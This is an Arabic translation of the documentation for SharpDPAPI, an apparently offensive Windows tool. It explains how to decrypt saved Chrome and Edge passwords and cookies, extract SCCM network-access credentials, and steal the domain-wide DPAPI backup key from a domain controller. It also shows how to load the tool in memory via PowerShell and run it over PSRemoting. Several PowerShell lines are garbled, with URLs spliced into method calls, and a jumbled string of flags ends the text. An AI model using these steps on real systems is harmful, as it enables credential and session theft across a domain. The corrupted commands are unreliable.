إذا كنت تعمل بصلاحيات مرتفعة على جهاز يعمل كعميل SCCM، وإذا كانت بيئة SCCM مهيأة بـ Network Access Account (NAA)، فيمكن استرداد blobs DPAPI المحمية بمفتاح النظام الرئيسي والتي تحتوي على بيانات اعتماد NAA عبر WMI؛ الأمر SCCM سيقوم بالاستعلام عن الـ blobs عبر WMI، واسترداد مفاتيح النظام الرئيسية، وفك تشفير الـ blobs.
الأمر logins سيبحث عن ملفات 'Login Data' في Chrome ويفك تشفير كلمات المرور المحفوظة لتسجيل الدخول. إذا كان التنفيذ في سياق غير مرتفع، فسيتم استخدام CryptProtectData() تلقائيًا لمحاولة فك تشفير القيم. إذا تم تحديد /browser:edge، فسيتم فحص متصفح Edge الجديد المستند إلى Chromium.
يمكن أيضًا فك تشفير ملفات Login Data باستخدام أ) أي مفاتيح رئيسية "{GUID}:SHA1 {GUID}:SHA1 ..." مرسلة، ب) ملف /mkfile:FILE يحتوي على واحد أو أكثر من تعيينات {GUID}:SHA1 للمفاتيح الرئيسية، ج) مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً، أو د) /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، ثم يتم استخدامها كجدول بحث لفك التشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.
يمكن تحديد ملف Login Data محدد باستخدام /target:FILE. يمكن تحديد /server:SERVER إذا تم توفير /pvk أو /password أيضًا. إذا كنت تفحص إصدارات أحدث من Chrome/Edge، فيمكن تحديد مفتاح حالة AES /statekey:X.
افتراضيًا، يتم عرض معلومات تسجيل الدخول بتنسيق csv. يمكن تعديل ذلك باستخدام /format:table لإخراج جدول. أيضًا، افتراضيًا يتم عرض الإدخالات ذات قيم كلمة المرور غير الفارغة فقط، ولكن يمكن عرض جميع القيم باستخدام /showall.
إذا تم تشغيل الأمر من سياق مرتفع، سيتم فحص ملفات Login Data لجميع المستخدمين، وإلا فسيتم معالجة ملفات Login Data للمستخدم الحالي فقط.
الأمر cookies سيبحث عن ملفات 'Cookies' في Chromium ويفك تشفير قيم ملفات تعريف الارتباط. إذا كان التنفيذ في سياق غير مرتفع، فسيتم استخدام CryptProtectData() تلقائيًا لمحاولة فك تشفير القيم. يمكنك تغيير التطبيق المستهدف باستخدام /browser:<VALUE> (مثل edge، brave، slack).
يمكن أيضًا فك تشفير ملفات Cookies باستخدام أ) أي مفاتيح رئيسية "{GUID}:SHA1 {GUID}:SHA1 ..." مرسلة، ب) ملف /mkfile:FILE يحتوي على واحد أو أكثر من تعيينات {GUID}:SHA1 للمفاتيح الرئيسية، ج) مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً، أو د) /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، ثم يتم استخدامها كجدول بحث لفك التشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.
يمكن تحديد ملف Cookies محدد باستخدام /target:FILE. يمكن تحديد /server:SERVER إذا تم توفير /pvk أو /password أيضًا. إذا كنت تفحص إصدارات أحدث من Chrome/Edge، فيمكن تحديد مفتاح حالة AES /statekey:X.
افتراضيًا، يتم عرض ملفات تعريف الارتباط بتنسيق csv. يمكن تعديل ذلك باستخدام /format:table لإخراج جدول، أو /format:json لإخراج يمكن استيراده بواسطة EditThisCookie. أيضًا، افتراضيًا يتم عرض الإدخالات ذات قيم ملفات تعريف الارتباط غير المنتهية فقط، ولكن يمكن عرض جميع القيم باستخدام /showall.
إذا تم تشغيل الأمر من سياق مرتفع، سيتم فحص ملفات Cookies لجميع المستخدمين، وإلا فسيتم معالجة ملفات Cookies للمستخدم الحالي فقط.
الأمر cookies يحتوي أيضًا على وسيطات /cookie:REGEX و /url:REGEX لإرجاع أسماء ملفات تعريف الارتباط أو عناوين URL المطابقة للتعبير النمطي المقدم. هذا مفيد مع /format:json لاستنساخ الوصول بسهولة إلى مواقع معينة.
افتراضيًا، سيبحث الأمر statekeys عن التطبيقات المستندة إلى Chromium (Google Chrome و Edge و Brave و Slack)، ويحدد موقع ملفات مفاتيح الحالة AES الخاصة بها (مثل 'AppData\Local\Google\Chrome\User Data\Local State' و 'AppData\Local\Microsoft\Edge\User Data\Local State')، ويفك تشفيرها باستخدام نفس أنواع الوسائط التي يمكن تقديمها لأوامر cookies و logins. يمكنك أيضًا تقديم مسار ملف مفتاح حالة محدد باستخدام المعامل /target: (مثل "/target:C:\Users\Test\appdata\Local\Google\Chrome\User Data\Local State").
يمكن أيضًا فك تشفير مفاتيح الحالة باستخدام أ) أي مفاتيح رئيسية "{GUID}:SHA1 {GUID}:SHA1 ..." مرسلة، ب) ملف /mkfile:FILE يحتوي على واحد أو أكثر من تعيينات {GUID}:SHA1 للمفاتيح الرئيسية، ج) مفتاح احتياطي لمجال DPAPI (/pvk:BASE64... أو /pvk:key.pvk) لفك تشفير أي مفاتيح رئيسية للمستخدم أولاً، أو د) /password:X لفك تشفير أي مفاتيح رئيسية للمستخدم، ثم يتم استخدامها كجدول بحث لفك التشفير. يمكن استرداد تعيينات GUID الخاصة بـ DPAPI باستخدام أمر sekurlsa::dpapi من Mimikatz.
إذا تم تشغيل الأمر من سياق مرتفع، سيتم فحص مفاتيح الحالة لجميع المستخدمين، وإلا فسيتم معالجة مفاتيح الحالة للمستخدم الحالي فقط.
الأمر backupkey سيسترد مفتاح النسخ الاحتياطي لمجال DPAPI من وحدة تحكم مجال باستخدام نهج API LsaRetrievePrivateData من Mimikatz. يمكن بعد ذلك استخدام هذا المفتاح الخاص لفك تشفير blobs المفاتيح الرئيسية لأي مستخدم في المجال. والأفضل من ذلك، أن المفتاح لا يتغير أبدًا ;)
يلزم صلاحيات مسؤول المجال (أو ما يعادلها) لاسترداد المفتاح من وحدة تحكم مجال عن بُعد.
العلامة /nowrap ستمنع تغليف المفتاح base64 عند العرض.
يمكن فك تشفير blob المفتاح base64 هذا إلى ملف .pvk ثنائي يمكن استخدامه بعد ذلك مع وحدة dpapi::masterkey /in:MASTERKEY /pvk:backupkey.pvk من Mimikatz، أو استخدامه في شكل blob/file /pvk:X مع أوامر masterkeys أو credentials أو vault من SharpDPAPI.
افتراضيًا، سيحاول SharpDPAPI تحديد وحدة التحكم بالمجال الحالية عبر استدعاء API DsGetDcName. يمكن تحديد خادم باستخدام /server:COMPUTER.domain.com. إذا كنت ترغب في حفظ المفتاح على القرص بدلاً من إخراجه كـ blob base64، فاستخدم /file:key.pvk.
لا نخطط لإصدار ملفات ثنائية لـ SharpDPAPI، لذا سيتعين عليك تجميعها بنفسك :)
تم بناء SharpDPAPI ضد .NET 3.5 وهو متوافق مع Visual Studio 2019 Community Edition. ببساطة افتح المشروع .sln، اختر "Release"، وقم بالتجميع.
تكوين البناء الافتراضي لـ SharpDPAPI هو لـ .NET 3.5، والذي سيفشل على الأنظمة التي لا يوجد بها هذا الإصدار. لاستهداف SharpDPAPI لـ .NET 4 أو 4.5، افتح الحل .sln، واذهب إلى Project -> SharpDPAPI Properties وقم بتغيير "Target framework" إلى إصدار آخر.
إذا كنت ترغب في تشغيل SharpDPAPI في الذاكرة عبر مغلف PowerShell، قم أولاً بتجميع SharpDPAPI وتشفير التجميع الناتج بـ base64:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("C:\Temp\SharpDPAPI.exe")) | Out-File -Encoding ASCII C:\Temp\SharpDPAPI.txt
يمكن بعد ذلك تحميل SharpDPAPI في سكريبت PowerShell باستخدام ما يلي (حيث يتم استبدال "aa..." بسلسلة التجميع SharpDPAPI المشفرة بـ base64):
$SharpDPAPIAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String("aa..."))
يمكن بعد ذلك استدعاء الأسلوب Main() وأي وسائط كما يلي:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:Main(%22machinemasterkeys%22)
بسبب طريقة معالجة PSRemoting للإخراج، نحتاج إلى إعادة توجيه stdout إلى سلسلة وإرجاع ذلك بدلاً من ذلك. لحسن الحظ، يحتوي SharpDPAPI على وظيفة للمساعدة في ذلك.
إذا اتبعت التعليمات في ملاحظة جانبية: تشغيل SharpDPAPI عبر PowerShell لإنشاء SharpDPAPI.ps1، أضف شيئًا مثل ما يلي إلى السكريبت:
[SharpDPAPI.Program]:https://raw.githubusercontent.com/ghostpack/sharpdpapi/HEAD/:MainString(%22machinemasterkeys%22)
يجب أن تكون قادرًا بعد ذلك على تشغيل SharpDPAPI عبر PSRemoting باستخدام شيء مثل:
$s = New-PSSession dc.theshire.local
Invoke-Command -Session $s -FilePath C:\Temp\SharpDPAPI.ps1
بدلاً من ذلك، وسيطة SharpDPAPI /consoleoutfile:C:\FILE.txt ستعيد توجيه جميع تدفقات الإخراج إلى الملف المحدد.
{GUID}:SHA1/mkfile:FILE{GUID}:SHA1/pvk:BASE64.../pvk:key.pvk/password:Xsekurlsa::dpapi